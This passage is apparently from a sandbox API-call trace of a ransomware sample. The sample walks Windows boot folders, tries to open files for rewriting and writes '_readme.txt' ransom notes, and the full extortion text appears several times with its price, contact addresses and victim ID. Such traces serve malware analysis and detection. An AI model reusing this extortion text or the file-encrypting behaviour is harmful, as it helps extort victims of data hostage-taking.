have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0267.068] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\_readme.txt" (normalized: "c:\\boot\\ja-jp\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0267.068] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x310a230 | out: hHeap=0x640000) returned 1 [0267.068] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311b6f8 | out: hHeap=0x640000) returned 1 [0267.069] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.069] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0267.069] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.069] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.069] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0267.069] PathFindExtensionW (pszPath="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned=".mui" [0267.069] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0267.069] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0267.069] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0267.069] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0267.069] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.069] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077390 | out: hHeap=0x640000) returned 1 [0267.069] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0267.069] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077390 [0267.070] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0267.070] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.070] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.070] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.070] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.070] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.070] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0267.070] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.070] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.070] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.070] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0267.070] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.070] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.070] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.070] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0267.070] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.070] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.070] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.070] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0267.070] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.070] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.070] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.070] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0267.070] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.070] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.071] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.071] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.071] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0267.071] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.071] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.071] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.071] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.071] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.071] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.071] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.071] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.071] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0267.071] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.071] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.071] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.071] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0267.071] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.071] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.071] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.071] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0267.071] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.071] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.071] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.071] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.071] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.072] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.072] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.072] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.072] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.072] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.072] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.072] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0267.072] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.072] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.072] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.072] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0267.072] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.072] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.072] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.072] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0267.072] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.072] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.072] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.072] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0267.072] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.072] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.072] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.072] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0267.072] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.072] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.073] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.073] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.073] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.073] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.073] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.073] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.073] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.073] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.073] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.073] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.073] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.073] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.073] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.073] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0267.073] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.073] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.073] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.073] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0267.073] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0267.073] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.073] PathFindFileNameW (pszPath="C:\\Boot\\ko-KR\\") returned="ko-KR\\" [0267.073] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.073] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0267.074] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0267.074] PathFindFileNameW (pszPath="") returned="" [0267.074] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.074] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0267.074] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0267.074] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x800) returned 0x31106e0 [0267.074] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0267.074] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x31099a8 [0267.074] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.074] FreeLibrary (hLibModule=0x75d10000) returned 1 [0267.074] PathAppendW (in: pszPath="C:\\Boot\\ko-KR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ko-KR\\_readme.txt") returned 1 [0267.075] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.075] PathFileExistsW (pszPath="C:\\Boot\\ko-KR\\_readme.txt") returned 0 [0267.075] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x7d00) returned 0x311b6f8 [0267.075] lstrcpyW (in: lpString1=0x311b6f8, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0267.075] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0267.075] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x310a230 [0267.075] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\_readme.txt" (normalized: "c:\\boot\\ko-kr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0267.075] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0267.075] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.076] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0267.076] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.076] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081918 [0267.076] PathFindExtensionW (pszPath="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned=".mui" [0267.076] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0267.076] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, 